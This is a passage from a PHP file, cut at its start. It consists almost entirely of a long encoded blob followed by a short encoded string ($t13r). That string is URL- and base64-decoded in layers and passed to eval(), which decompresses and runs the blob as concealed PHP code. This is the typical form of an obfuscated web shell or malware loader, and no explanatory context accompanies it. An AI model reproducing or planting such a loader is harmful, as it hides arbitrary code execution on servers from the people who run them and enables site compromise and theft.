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";
$t13r = "WlhaaGJDZ25QejRuTG1kNmRXNWpiMjF3Y21WemN5aG5lbWx1Wm14aGRHVW9aM3BwYm1ac1lYUmxLR0poYzJVMk5GOWtaV052WkdVb2MzUnljbVYyS0NSdlltbHlibWx1YW1FcEtTa3BLU2s3";
eval(htmlspecialchars_decode(base64_decode(urldecode(base64_decode($t13r)))));
?>